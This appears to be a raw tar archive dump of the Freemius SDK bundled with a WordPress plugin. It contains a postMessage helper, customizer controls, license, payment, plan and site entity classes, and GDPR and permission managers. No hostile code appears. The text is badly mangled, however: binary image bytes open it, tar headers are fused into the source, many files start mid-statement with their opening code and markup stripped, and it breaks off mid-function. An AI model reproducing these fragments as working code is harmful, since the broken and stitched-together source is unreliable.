ܤR4L0j6~r|k!iֶ-$oBJێ ' Sd:tO!V( TM"Q&6.HOO ZDE%xrON`( xrrz7~6蘘X0q>/xL"@JJ38>¤ؓ_%{8߱'CF$@qaǞ HŅ{2dD"x .'MUNʈ\J u=2dP\,# S2"%]rJTF@!DeD8䔨&[%i.eprJTF@᝞"De\`=ܛ IENDB`vendor/freemius/assets/js/index.php000064400000000127147600365160013426 0ustar00 0) { $window.on('scroll', function () { for (var i = 0; i < iframes.length; i++) { FS.PostMessage.postScroll(iframes[i]); } }); } }, init_child : function () { this.init(_parent_subdomain); _is_child = true; // Post height of a child right after window is loaded. $(window).bind('load', function () { FS.PostMessage.postHeight(); // Post message that window was loaded. FS.PostMessage.post('loaded'); }); }, hasParent : function () { return _hasParent; }, postHeight : function (diff, wrapper) { diff = diff || 0; wrapper = wrapper || '#wrap_section'; this.post('height', { height: diff + $(wrapper).outerHeight(true) }); }, postScroll : function (iframe) { this.post('scroll', { top: $window.scrollTop(), height: ($window.height() - parseFloat($html.css('paddingTop')) - parseFloat($html.css('marginTop'))) }, iframe); }, post : function (type, data, iframe) { console.debug('PostMessage.post', type); if (iframe) { // Post to iframe. _postman.postMessage(JSON.stringify({ type: type, data: data }), iframe.src, iframe.contentWindow); } else { // Post to parent. _postman.postMessage(JSON.stringify({ type: type, data: data }), _parent_url, window.parent); } }, receive: function (type, callback) { console.debug('PostMessage.receive', type); if (undef === _callbacks[type]) _callbacks[type] = []; _callbacks[type].push(callback); }, receiveOnce: function (type, callback) { if (this.is_set(type)) return; this.receive(type, callback); }, // Check if any callbacks assigned to a specified message type. is_set: function (type) { return (undef != _callbacks[type]); }, parent_url: function () { return _parent_url; }, parent_subdomain: function () { return _parent_subdomain; } }; }(); })(jQuery);vendor/freemius/assets/index.php000064400000000127147600365160013012 0ustar00register_section_type( 'FS_Customizer_Support_Section' ); parent::__construct( $manager, $id, $args ); } /** * The type of customize section being rendered. * * @since 1.0.0 * @access public * @var string */ public $type = 'freemius-support-section'; /** * @var Freemius */ public $fs = null; /** * Add custom parameters to pass to the JS via JSON. * * @since 1.0.0 */ public function json() { $json = parent::json(); $is_contact_visible = $this->fs->is_page_visible( 'contact' ); $is_support_visible = $this->fs->is_page_visible( 'support' ); $json['theme_title'] = $this->fs->get_plugin_name(); if ( $is_contact_visible && $is_support_visible ) { $json['theme_title'] .= ' ' . $this->fs->get_text_inline( 'Support', 'support' ); } if ( $is_contact_visible ) { $json['contact'] = array( 'label' => $this->fs->get_text_inline( 'Contact Us', 'contact-us' ), 'url' => $this->fs->contact_url(), ); } if ( $is_support_visible ) { $json['support'] = array( 'label' => $this->fs->get_text_inline( 'Support Forum', 'support-forum' ), 'url' => $this->fs->get_support_forum_url() ); } return $json; } /** * Outputs the Underscore.js template. * * @since 1.0.0 */ protected function render_template() { ?>
                • {{ data.theme_title }} <# if ( data.contact && data.support ) { #>
                  <# } #> <# if ( data.contact ) { #> {{ data.contact.label }} <# } #> <# if ( data.support ) { #> {{ data.support.label }} <# } #> <# if ( data.contact && data.support ) { #>
                  <# } #>

                • register_control_type( 'FS_Customizer_Upsell_Control' ); parent::__construct( $manager, $id, $args ); } /** * Enqueue resources for the control. */ public function enqueue() { fs_enqueue_local_style( 'fs_customizer', 'customizer.css' ); } /** * Json conversion */ public function to_json() { $pricing_cta = esc_html( $this->fs->get_pricing_cta_label() ) . '  ' . ( is_rtl() ? '←' : '➤' ); parent::to_json(); $this->json['button_text'] = $pricing_cta; $this->json['button_url'] = $this->fs->is_in_trial_promotion() ? $this->fs->get_trial_url() : $this->fs->get_upgrade_url(); $api = FS_Plugin::is_valid_id( $this->fs->get_bundle_id() ) ? $this->fs->get_api_bundle_scope() : $this->fs->get_api_plugin_scope(); // Load features. $pricing = $api->get( $this->fs->add_show_pending( "pricing.json" ) ); if ( $this->fs->is_api_result_object( $pricing, 'plans' ) ) { // Add support features. if ( is_array( $pricing->plans ) && 0 < count( $pricing->plans ) ) { $support_features = array( 'kb' => 'Help Center', 'forum' => 'Support Forum', 'email' => 'Priority Email Support', 'phone' => 'Phone Support', 'skype' => 'Skype Support', 'is_success_manager' => 'Personal Success Manager', ); for ( $i = 0, $len = count( $pricing->plans ); $i < $len; $i ++ ) { if ( 'free' == $pricing->plans[$i]->name ) { continue; } if ( ! isset( $pricing->plans[ $i ]->features ) || ! is_array( $pricing->plans[ $i ]->features ) ) { $pricing->plans[$i]->features = array(); } foreach ( $support_features as $key => $label ) { $key = ( 'is_success_manager' !== $key ) ? "support_{$key}" : $key; if ( ! empty( $pricing->plans[ $i ]->{$key} ) ) { $support_feature = new stdClass(); $support_feature->title = $label; $pricing->plans[ $i ]->features[] = $support_feature; } } } $this->json['plans'] = $pricing->plans; } } $this->json['strings'] = array( 'plan' => $this->fs->get_text_x_inline( 'Plan', 'as product pricing plan', 'plan' ), ); } /** * Control content */ public function content_template() { ?>
                  <# if ( data.plans ) { #>
                    <# for (i in data.plans) { #> <# if ( 'free' != data.plans[i].name && (null != data.plans[i].features && 0 < data.plans[i].features.length) ) { #>
                  • <# if ( data.plans[i].description ) { #>

                    {{ data.plans[i].description }}

                    <# } #> <# if ( data.plans[i].features ) { #>
                      <# for ( j in data.plans[i].features ) { #>
                    • <# if ( data.plans[i].features[j].value ) { #>{{ data.plans[i].features[j].value }} <# } #>{{ data.plans[i].features[j].title }} <# if ( data.plans[i].features[j].description ) { #> {{ data.plans[i].features[j].description }} <# } #>
                    • <# } #>
                    <# } #> <# if ( 'free' != data.plans[i].name ) { #> {{{ data.button_text }}} <# } #>
                  • <# } #> <# } #>
                  <# } #>
                  title( 'Freemius' ); // @phpstan-ignore-line } public static function requests_count() { if ( class_exists( 'Freemius_Api_WordPress' ) ) { $logger = Freemius_Api_WordPress::GetLogger(); } else { $logger = array(); } return number_format( count( $logger ) ); } public static function total_time() { if ( class_exists( 'Freemius_Api_WordPress' ) ) { $logger = Freemius_Api_WordPress::GetLogger(); } else { $logger = array(); } $total_time = .0; foreach ( $logger as $l ) { $total_time += $l['total']; } return number_format( 100 * $total_time, 2 ) . ' ' . fs_text_x_inline( 'ms', 'milliseconds' ); } public function render() { ?>



                  release_mode ); } }vendor/freemius/includes/entities/class-fs-payment.php000064400000007704147600365160017231 0ustar00bound_payment_id ) && 0 > $this->gross ); } /** * Checks if the payment was migrated from another platform. * * @author Vova Feldman (@svovaf) * @since 2.0.2 * * @return bool */ function is_migrated() { return ( 0 != $this->source ); } /** * Returns the gross in this format: * `{symbol}{amount | 2 decimal digits} {currency | uppercase}` * * Examples: £9.99 GBP, -£9.99 GBP. * * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @return string */ function formatted_gross() { return ( ( $this->gross < 0 ? '-' : '' ) . $this->get_symbol() . number_format( abs( $this->gross ), 2, '.', ',' ) . ' ' . strtoupper( $this->currency ) ); } /** * A map between supported currencies with their symbols. * * @var array */ static $CURRENCY_2_SYMBOL; /** * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @return string */ private function get_symbol() { if ( ! isset( self::$CURRENCY_2_SYMBOL ) ) { // Lazy load. self::$CURRENCY_2_SYMBOL = array( self::CURRENCY_USD => '$', self::CURRENCY_GBP => '£', self::CURRENCY_EUR => '€', ); } return self::$CURRENCY_2_SYMBOL[ $this->currency ]; } }vendor/freemius/includes/entities/class-fs-entity.php000064400000006066147600365160017070 0ustar00 $def_value ) { $this->{$key} = isset( $entity->{$key} ) ? $entity->{$key} : $def_value; } } static function get_type() { return 'type'; } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param FS_Entity $entity1 * @param FS_Entity $entity2 * * @return bool */ static function equals( $entity1, $entity2 ) { if ( is_null( $entity1 ) && is_null( $entity2 ) ) { return true; } else if ( is_object( $entity1 ) && is_object( $entity2 ) ) { return ( $entity1->id == $entity2->id ); } else if ( is_object( $entity1 ) ) { return is_null( $entity1->id ); } else { return is_null( $entity2->id ); } } private $_is_updated = false; /** * Update object property. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @param string|array[string]mixed $key * @param string|bool $val * * @return bool */ function update( $key, $val = false ) { if ( ! is_array( $key ) ) { $key = array( $key => $val ); } $is_updated = false; foreach ( $key as $k => $v ) { if ( $this->{$k} === $v ) { continue; } if ( ( is_string( $this->{$k} ) && is_numeric( $v ) || ( is_numeric( $this->{$k} ) && is_string( $v ) ) ) && $this->{$k} == $v ) { continue; } // Update value. $this->{$k} = $v; $is_updated = true; } $this->_is_updated = $is_updated; return $is_updated; } /** * Checks if entity was updated. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ function is_updated() { return $this->_is_updated; } /** * @param $id * * @author Vova Feldman (@svovaf) * @since 1.1.2 * * @return bool */ static function is_valid_id($id){ return is_numeric($id); } /** * @author Leo Fajardo (@leorw) * @since 2.3.1 * * @return string */ public static function get_class_name() { return get_called_class(); } }vendor/freemius/includes/entities/class-fs-affiliate.php000064400000003361147600365160017473 0ustar00status ); } /** * @author Leo Fajardo * * @return bool */ function is_pending() { return ( 'pending' === $this->status ); } /** * @author Leo Fajardo * * @return bool */ function is_suspended() { return ( 'suspended' === $this->status ); } /** * @author Leo Fajardo * * @return bool */ function is_rejected() { return ( 'rejected' === $this->status ); } /** * @author Leo Fajardo * * @return bool */ function is_blocked() { return ( 'blocked' === $this->status ); } }vendor/freemius/includes/entities/class-fs-scope-entity.php000064400000001052147600365160020165 0ustar00is_premium = false; $this->is_live = true; if ( empty( $this->premium_slug ) && ! empty( $plugin->slug ) ) { $this->premium_slug = "{$this->slug}-premium"; } if ( empty( $this->premium_suffix ) ) { $this->premium_suffix = '(Premium)'; } if ( isset( $plugin->info ) && is_object( $plugin->info ) ) { $this->info = new FS_Plugin_Info( $plugin->info ); } } /** * Check if plugin is an add-on (has parent). * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @return bool */ function is_addon() { return isset( $this->parent_plugin_id ) && is_numeric( $this->parent_plugin_id ); } /** * @author Leo Fajardo (@leorw) * @since 1.2.3 * * @return bool */ function has_affiliate_program() { return ( ! empty( $this->affiliate_moderation ) ); } static function get_type() { return 'plugin'; } }vendor/freemius/includes/entities/index.php000064400000000127147600365160015142 0ustar00monthly_price ) && $this->monthly_price > 0 ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.8 * * @return bool */ function has_annual() { return ( is_numeric( $this->annual_price ) && $this->annual_price > 0 ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.8 * * @return bool */ function has_lifetime() { return ( is_numeric( $this->lifetime_price ) && $this->lifetime_price > 0 ); } /** * Check if unlimited licenses pricing. * * @author Vova Feldman (@svovaf) * @since 1.1.8 * * @return bool */ function is_unlimited() { return is_null( $this->licenses ); } /** * Check if pricing has more than one billing cycle. * * @author Vova Feldman (@svovaf) * @since 1.1.8 * * @return bool */ function is_multi_cycle() { $cycles = 0; if ( $this->has_monthly() ) { $cycles ++; } if ( $this->has_annual() ) { $cycles ++; } if ( $this->has_lifetime() ) { $cycles ++; } return $cycles > 1; } /** * Get annual over monthly discount. * * @author Vova Feldman (@svovaf) * @since 1.1.8 * * @return int */ function annual_discount_percentage() { return floor( $this->annual_savings() / ( $this->monthly_price * 12 * ( $this->is_unlimited() ? 1 : $this->licenses ) ) * 100 ); } /** * Get annual over monthly savings. * * @author Vova Feldman (@svovaf) * @since 1.1.8 * * @return float */ function annual_savings() { return ( $this->monthly_price * 12 - $this->annual_price ) * ( $this->is_unlimited() ? 1 : $this->licenses ); } /** * @author Leo Fajardo (@leorw) * @since 2.3.1 * * @return bool */ function is_usd() { return ( 'usd' === $this->currency ); } }vendor/freemius/includes/entities/class-fs-user.php000064400000002541147600365160016524 0ustar00first ) ? $this->first : '' ) ) . ' ' . ucfirst( trim( is_string( $this->last ) ? $this->last : '' ) ) ); } function is_verified() { return ( isset( $this->is_verified ) && true === $this->is_verified ); } /** * @author Leo Fajardo (@leorw) * @since 2.4.2 * * @return bool */ function is_beta() { // Return `false` since this is just for backward compatibility. return false; } static function get_type() { return 'user'; } }vendor/freemius/includes/entities/class-fs-plugin-info.php000064400000001332147600365160017772 0ustar00commission_type ) ? ( '$' . $this->commission ) : ( $this->commission . '%' ); } /** * @author Leo Fajardo (@leorw) * * @return bool */ function has_lifetime_commission() { return ( 0 !== $this->future_payments_days ); } /** * @author Leo Fajardo (@leorw) * * @return bool */ function is_session_cookie() { return ( 0 == $this->cookie_days ); } /** * @author Leo Fajardo (@leorw) * * @return bool */ function has_renewals_commission() { return ( is_null( $this->commission_renewals_days ) || $this->commission_renewals_days > 0 ); } }vendor/freemius/includes/entities/class-fs-plugin-plan.php000064400000005305147600365160017775 0ustar00name = strtolower( $plan->name ); } } static function get_type() { return 'plan'; } /** * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ function is_free() { return ( 'free' === $this->name ); } /** * Checks if this plan supports "Technical Support". * * @author Leo Fajardo (leorw) * @since 1.2.0 * * @return bool */ function has_technical_support() { return ( ! empty( $this->support_email ) || ! empty( $this->support_skype ) || ! empty( $this->support_phone ) || ! empty( $this->is_success_manager ) ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ function has_trial() { return ! $this->is_free() && is_numeric( $this->trial_period ) && ( $this->trial_period > 0 ); } }vendor/freemius/includes/entities/class-fs-subscription.php000064400000006540147600365160020275 0ustar00is_canceled() ) { return false; } return ( ! empty( $this->next_payment ) && strtotime( $this->next_payment ) > WP_FS__SCRIPT_START_TIME ); } /** * @author Vova Feldman (@svovaf) * @since 2.3.1 * * @return bool */ function is_canceled() { return ! is_null( $this->canceled_at ); } /** * Subscription considered to be new without any payments * if the next payment should be made within less than 24 hours * from the subscription creation. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ function is_first_payment_pending() { return ( WP_FS__TIME_24_HOURS_IN_SEC >= strtotime( $this->next_payment ) - strtotime( $this->created ) ); } /** * @author Vova Feldman (@svovaf) * @since 1.1.7 */ function has_trial() { return ! is_null( $this->trial_ends ); } }vendor/freemius/includes/entities/class-fs-plugin-license.php000064400000020761147600365160020470 0ustar00is_features_enabled() ) { return 0; } if ( $this->is_unlimited() ) { return 999; } return ( $this->quota - $this->activated - ( $this->is_free_localhost ? 0 : $this->activated_local ) ); } /** * Check if single site license. * * @author Vova Feldman (@svovaf) * @since 1.1.8.1 * * @return bool */ function is_single_site() { return ( is_numeric( $this->quota ) && 1 == $this->quota ); } /** * @author Vova Feldman (@svovaf) * @since 1.0.5 * * @return bool */ function is_expired() { return ! $this->is_lifetime() && ( strtotime( $this->expiration ) < WP_FS__SCRIPT_START_TIME ); } /** * Check if license is not expired. * * @author Vova Feldman (@svovaf) * @since 1.2.1 * * @return bool */ function is_valid() { return ! $this->is_expired(); } /** * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @return bool */ function is_lifetime() { return is_null( $this->expiration ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.0 * * @return bool */ function is_unlimited() { return is_null( $this->quota ); } /** * Check if license is fully utilized. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param bool|null $is_localhost * * @return bool */ function is_utilized( $is_localhost = null ) { if ( is_null( $is_localhost ) ) { $is_localhost = WP_FS__IS_LOCALHOST_FOR_SERVER; } if ( $this->is_unlimited() ) { return false; } return ! ( $this->is_free_localhost && $is_localhost ) && ( $this->quota <= $this->activated + ( $this->is_free_localhost ? 0 : $this->activated_local ) ); } /** * Check if license can be activated. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param bool|null $is_localhost * * @return bool */ function can_activate( $is_localhost = null ) { return ! $this->is_utilized( $is_localhost ) && $this->is_features_enabled(); } /** * Check if license can be activated on a given number of production and localhost sites. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param int $production_count * @param int $localhost_count * * @return bool */ function can_activate_bulk( $production_count, $localhost_count ) { if ( $this->is_unlimited() ) { return true; } /** * For simplicity, the logic will work as following: when given X sites to activate the license on, if it's * possible to activate on ALL of them, do the activation. If it's not possible to activate on ALL of them, * do NOT activate on any of them. */ return ( $this->quota >= $this->activated + $production_count + ( $this->is_free_localhost ? 0 : $this->activated_local + $localhost_count ) ); } /** * @author Vova Feldman (@svovaf) * @since 1.2.1 * * @return bool */ function is_active() { return ( ! $this->is_cancelled ); } /** * Check if license's plan features are enabled. * * - Either if plan not expired * - If expired, based on the configuration to block features or not. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @return bool */ function is_features_enabled() { return $this->is_active() && ( ! $this->is_block_features || ! $this->is_expired() ); } /** * Subscription considered to be new without any payments * if the license expires in less than 24 hours * from the license creation. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ function is_first_payment_pending() { return ( WP_FS__TIME_24_HOURS_IN_SEC >= strtotime( $this->expiration ) - strtotime( $this->created ) ); } /** * @return int */ function total_activations() { return ( $this->activated + $this->activated_local ); } /** * @author Vova Feldman (@svovaf) * @since 2.3.1 * * @return string */ function get_html_escaped_masked_secret_key() { return self::mask_secret_key_for_html( $this->secret_key ); } /** * @author Vova Feldman (@svovaf) * @since 2.3.1 * * @param string $secret_key * * @return string */ static function mask_secret_key_for_html( $secret_key ) { return ( // Initial 6 chars - sk_ABC htmlspecialchars( substr( $secret_key, 0, 6 ) ) . // Masking str_pad( '', ( strlen( $secret_key ) - 9 ) * 6, '•' ) . // Last 3 chars. htmlspecialchars( substr( $secret_key, - 3 ) ) ); } } vendor/freemius/includes/entities/class-fs-site.php000064400000016402147600365160016513 0ustar00plan_id = $site->plan_id; } if ( ! is_bool( $this->is_disconnected ) ) { $this->is_disconnected = false; } } static function get_type() { return 'install'; } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $url * * @return bool */ static function is_localhost_by_address( $url ) { if ( false !== strpos( $url, '127.0.0.1' ) || false !== strpos( $url, 'localhost' ) ) { return true; } if ( ! fs_starts_with( $url, 'http' ) ) { $url = 'http://' . $url; } $url_parts = parse_url( $url ); $subdomain = $url_parts['host']; return ( // Starts with. fs_starts_with( $subdomain, 'local.' ) || fs_starts_with( $subdomain, 'dev.' ) || fs_starts_with( $subdomain, 'test.' ) || fs_starts_with( $subdomain, 'stage.' ) || fs_starts_with( $subdomain, 'staging.' ) || // Ends with. fs_ends_with( $subdomain, '.dev' ) || fs_ends_with( $subdomain, '.test' ) || fs_ends_with( $subdomain, '.staging' ) || fs_ends_with( $subdomain, '.local' ) || fs_ends_with( $subdomain, '.example' ) || fs_ends_with( $subdomain, '.invalid' ) || // GoDaddy test/dev. fs_ends_with( $subdomain, '.myftpupload.com' ) || // ngrok tunneling. fs_ends_with( $subdomain, '.ngrok.io' ) || // wpsandbox. fs_ends_with( $subdomain, '.wpsandbox.pro' ) || // SiteGround staging. fs_starts_with( $subdomain, 'staging' ) || // WPEngine staging. fs_ends_with( $subdomain, '.staging.wpengine.com' ) || fs_ends_with( $subdomain, '.dev.wpengine.com' ) || fs_ends_with( $subdomain, '.wpengine.com' ) || // Pantheon ( fs_ends_with( $subdomain, 'pantheonsite.io' ) && ( fs_starts_with( $subdomain, 'test-' ) || fs_starts_with( $subdomain, 'dev-' ) ) ) || // Cloudways fs_ends_with( $subdomain, '.cloudwaysapps.com' ) || // Kinsta ( ( fs_starts_with( $subdomain, 'staging-' ) || fs_starts_with( $subdomain, 'env-' ) ) && ( fs_ends_with( $subdomain, '.kinsta.com' ) || fs_ends_with( $subdomain, '.kinsta.cloud' ) ) ) || // DesktopServer fs_ends_with( $subdomain, '.dev.cc' ) || // Pressable fs_ends_with( $subdomain, '.mystagingwebsite.com' ) || // WPMU DEV ( fs_ends_with( $subdomain, '.tempurl.host' ) || fs_ends_with( $subdomain, '.wpmudev.host' ) ) || // Vendasta ( fs_ends_with( $subdomain, '.websitepro-staging.com' ) || fs_ends_with( $subdomain, '.websitepro.hosting' ) ) || // InstaWP fs_ends_with( $subdomain, '.instawp.xyz' ) ); } function is_localhost() { return ( WP_FS__IS_LOCALHOST_FOR_SERVER || self::is_localhost_by_address( $this->url ) ); } /** * Check if site in trial. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ function is_trial() { return is_numeric( $this->trial_plan_id ) && ( strtotime( $this->trial_ends ) > WP_FS__SCRIPT_START_TIME ); } /** * Check if user already utilized the trial with the current install. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ function is_trial_utilized() { return is_numeric( $this->trial_plan_id ); } /** * @author Edgar Melkonyan * * @return bool */ function is_beta() { return ( isset( $this->is_beta ) && true === $this->is_beta ); } /** * @author Leo Fajardo (@leorw) * @since 2.5.1 * * @param string $site_url * * @return bool */ function is_clone( $site_url ) { $clone_install_url = trailingslashit( fs_strip_url_protocol( $this->url ) ); return ( $clone_install_url !== $site_url ); } }vendor/freemius/includes/managers/class-fs-gdpr-manager.php000064400000013145147600365160020065 0ustar00_storage = FS_Option_Manager::get_manager( WP_FS__GDPR_OPTION_NAME, true, true ); $this->_wp_user_id = Freemius::get_current_wp_user_id(); $this->_option_name = "u{$this->_wp_user_id}"; $this->_data = $this->_storage->get_option( $this->_option_name, array() ); $this->_notices = FS_Admin_Notices::instance( 'all_admins', '', '', true ); if ( ! is_array( $this->_data ) ) { $this->_data = array(); } } /** * Update a GDPR option for the current admin and store it. * * @author Vova Feldman (@svovaf) * @since 2.1.0 * * @param string $name * @param mixed $value */ private function update_option( $name, $value ) { $this->_data[ $name ] = $value; $this->_storage->set_option( $this->_option_name, $this->_data, true ); } /** * @author Leo Fajardo (@leorw) * @since 2.1.0 * * @param bool $is_required */ public function store_is_required( $is_required ) { $this->update_option( 'required', $is_required ); } /** * Checks if the GDPR opt-in sticky notice is currently shown. * * @author Vova Feldman (@svovaf) * @since 2.1.0 * * @return bool */ public function is_opt_in_notice_shown() { return $this->_notices->has_sticky( "gdpr_optin_actions_{$this->_wp_user_id}", true ); } /** * Remove the GDPR opt-in sticky notice. * * @author Vova Feldman (@svovaf) * @since 2.1.0 */ public function remove_opt_in_notice() { $this->_notices->remove_sticky( "gdpr_optin_actions_{$this->_wp_user_id}", true ); $this->disable_opt_in_notice(); } /** * Prevents the opt-in message from being added/shown. * * @author Leo Fajardo (@leorw) * @since 2.1.0 */ public function disable_opt_in_notice() { $this->update_option( 'show_opt_in_notice', false ); } /** * Checks if a GDPR opt-in message needs to be shown to the current admin. * * @author Vova Feldman (@svovaf) * @since 2.1.0 * * @return bool */ public function should_show_opt_in_notice() { return ( ! isset( $this->_data['show_opt_in_notice'] ) || true === $this->_data['show_opt_in_notice'] ); } /** * Get the last time the GDPR opt-in notice was shown. * * @author Vova Feldman (@svovaf) * @since 2.1.0 * * @return false|int */ public function last_time_notice_was_shown() { return isset( $this->_data['notice_shown_at'] ) ? $this->_data['notice_shown_at'] : false; } /** * Update the timestamp of the last time the GDPR opt-in message was shown to now. * * @author Vova Feldman (@svovaf) * @since 2.1.0 */ public function notice_was_just_shown() { $this->update_option( 'notice_shown_at', WP_FS__SCRIPT_START_TIME ); } /** * @param string $message * @param string|null $plugin_title * * @author Vova Feldman (@svovaf) * @since 2.1.0 */ public function add_opt_in_sticky_notice( $message, $plugin_title = null ) { $this->_notices->add_sticky( $message, "gdpr_optin_actions_{$this->_wp_user_id}", '', 'promotion', true, $this->_wp_user_id, $plugin_title, true ); } }vendor/freemius/includes/managers/class-fs-permission-manager.php000064400000062170147600365160021323 0ustar00 */ private static $_instances = array(); const PERMISSION_USER = 'user'; const PERMISSION_SITE = 'site'; const PERMISSION_EVENTS = 'events'; const PERMISSION_ESSENTIALS = 'essentials'; const PERMISSION_DIAGNOSTIC = 'diagnostic'; const PERMISSION_EXTENSIONS = 'extensions'; const PERMISSION_NEWSLETTER = 'newsletter'; /** * @param Freemius $fs * * @return self */ static function instance( Freemius $fs ) { $id = $fs->get_id(); if ( ! isset( self::$_instances[ $id ] ) ) { self::$_instances[ $id ] = new self( $fs ); } return self::$_instances[ $id ]; } /** * @param Freemius $fs */ protected function __construct( Freemius $fs ) { $this->_fs = $fs; $this->_storage = FS_Storage::instance( $fs->get_module_type(), $fs->get_slug() ); } /** * @return string[] */ static function get_all_permission_ids() { return array( self::PERMISSION_USER, self::PERMISSION_SITE, self::PERMISSION_EVENTS, self::PERMISSION_ESSENTIALS, self::PERMISSION_DIAGNOSTIC, self::PERMISSION_EXTENSIONS, self::PERMISSION_NEWSLETTER, ); } /** * @return string[] */ static function get_api_managed_permission_ids() { return array( self::PERMISSION_USER, self::PERMISSION_SITE, self::PERMISSION_EXTENSIONS, ); } /** * @param string $permission * * @return bool */ static function is_supported_permission( $permission ) { return in_array( $permission, self::get_all_permission_ids() ); } /** * @since 2.5.3 * * @return bool */ function is_premium_context() { return ( $this->_fs->is_premium() || $this->_fs->can_use_premium_code() ); } /** * @param bool $is_license_activation * @param array[] $extra_permissions * * @return array[] */ function get_permissions( $is_license_activation, array $extra_permissions = array() ) { return $is_license_activation ? $this->get_license_activation_permissions( $extra_permissions ) : $this->get_opt_in_permissions( $extra_permissions ); } #-------------------------------------------------------------------------------- #region Opt-In Permissions #-------------------------------------------------------------------------------- /** * @param array[] $extra_permissions * * @return array[] */ function get_opt_in_permissions( array $extra_permissions = array(), $load_default_from_storage = false, $is_optional = false ) { $permissions = array_merge( $this->get_opt_in_required_permissions( $load_default_from_storage ), $this->get_opt_in_optional_permissions( $load_default_from_storage, $is_optional ), $extra_permissions ); return $this->get_sorted_permissions_by_priority( $permissions ); } /** * @param bool $load_default_from_storage * * @return array[] */ function get_opt_in_required_permissions( $load_default_from_storage = false ) { return array( $this->get_user_permission( $load_default_from_storage ) ); } /** * @param bool $load_default_from_storage * @param bool $is_optional * * @return array[] */ function get_opt_in_optional_permissions( $load_default_from_storage = false, $is_optional = false ) { return array_merge( $this->get_opt_in_diagnostic_permissions( $load_default_from_storage, $is_optional ), array( $this->get_extensions_permission( false, false, $load_default_from_storage ) ) ); } /** * @param bool $load_default_from_storage * @param bool $is_optional * * @return array[] */ function get_opt_in_diagnostic_permissions( $load_default_from_storage = false, $is_optional = false ) { // Alias. $fs = $this->_fs; $permissions = array(); $permissions[] = $this->get_permission( self::PERMISSION_SITE, 'admin-links', $fs->get_text_inline( 'View Basic Website Info', 'permissions-site' ), $fs->get_text_inline( 'Homepage URL & title, WP & PHP versions, and site language', 'permissions-site_desc' ), sprintf( /* translators: %s: 'Plugin' or 'Theme' */ $fs->get_text_inline( 'To provide additional functionality that\'s relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the %s should be translated and tailored to.', 'permissions-site_tooltip' ), $fs->get_module_label( true ) ), 10, $is_optional, true, $load_default_from_storage ); $permissions[] = $this->get_permission( self::PERMISSION_EVENTS, 'admin-' . ( $fs->is_plugin() ? 'plugins' : 'appearance' ), sprintf( $fs->get_text_inline( 'View Basic %s Info', 'permissions-events' ), $fs->get_module_label() ), sprintf( /* translators: %s: 'Plugin' or 'Theme' */ $fs->get_text_inline( 'Current %s & SDK versions, and if active or uninstalled', 'permissions-events_desc' ), $fs->get_module_label( true ) ), '', 20, $is_optional, true, $load_default_from_storage ); return $permissions; } #endregion #-------------------------------------------------------------------------------- #region License Activation Permissions #-------------------------------------------------------------------------------- /** * @param array[] $extra_permissions * * @return array[] */ function get_license_activation_permissions( array $extra_permissions = array(), $include_optional_label = true ) { $permissions = array_merge( $this->get_license_required_permissions(), $this->get_license_optional_permissions( $include_optional_label ), $extra_permissions ); return $this->get_sorted_permissions_by_priority( $permissions ); } /** * @param bool $load_default_from_storage * * @return array[] */ function get_license_required_permissions( $load_default_from_storage = false ) { // Alias. $fs = $this->_fs; $permissions = array(); $permissions[] = $this->get_permission( self::PERMISSION_ESSENTIALS, 'admin-links', $fs->get_text_inline( 'View License Essentials', 'permissions-essentials' ), $fs->get_text_inline( sprintf( /* translators: %s: 'Plugin' or 'Theme' */ 'Homepage URL, %s version, SDK version', $fs->get_module_label() ), 'permissions-essentials_desc' ), sprintf( /* translators: %s: 'Plugin' or 'Theme' */ $fs->get_text_inline( 'To let you manage & control where the license is activated and ensure %s security & feature updates are only delivered to websites you authorize.', 'permissions-essentials_tooltip' ), $fs->get_module_label( true ) ), 10, false, true, $load_default_from_storage ); $permissions[] = $this->get_permission( self::PERMISSION_EVENTS, 'admin-' . ( $fs->is_plugin() ? 'plugins' : 'appearance' ), sprintf( $fs->get_text_inline( 'View %s State', 'permissions-events' ), $fs->get_module_label() ), sprintf( /* translators: %s: 'Plugin' or 'Theme' */ $fs->get_text_inline( 'Is active, deactivated, or uninstalled', 'permissions-events_desc-paid' ), $fs->get_module_label( true ) ), sprintf( $fs->get_text_inline( 'So you can reuse the license when the %s is no longer active.', 'permissions-events_tooltip' ), $fs->get_module_label( true ) ), 20, false, true, $load_default_from_storage ); return $permissions; } /** * @return array[] */ function get_license_optional_permissions( $include_optional_label = false, $load_default_from_storage = false ) { return array( $this->get_diagnostic_permission( $include_optional_label, $load_default_from_storage ), $this->get_extensions_permission( true, $include_optional_label, $load_default_from_storage ), ); } /** * @param bool $include_optional_label * @param bool $load_default_from_storage * * @return array */ function get_diagnostic_permission( $include_optional_label = false, $load_default_from_storage = false ) { return $this->get_permission( self::PERMISSION_DIAGNOSTIC, 'wordpress-alt', $this->_fs->get_text_inline( 'View Diagnostic Info', 'permissions-diagnostic' ) . ( $include_optional_label ? ' (' . $this->_fs->get_text_inline( 'optional' ) . ')' : '' ), $this->_fs->get_text_inline( 'WordPress & PHP versions, site language & title', 'permissions-diagnostic_desc' ), sprintf( /* translators: %s: 'Plugin' or 'Theme' */ $this->_fs->get_text_inline( 'To avoid breaking your website due to WordPress or PHP version incompatibilities, and recognize which languages & regions the %s should be translated and tailored to.', 'permissions-diagnostic_tooltip' ), 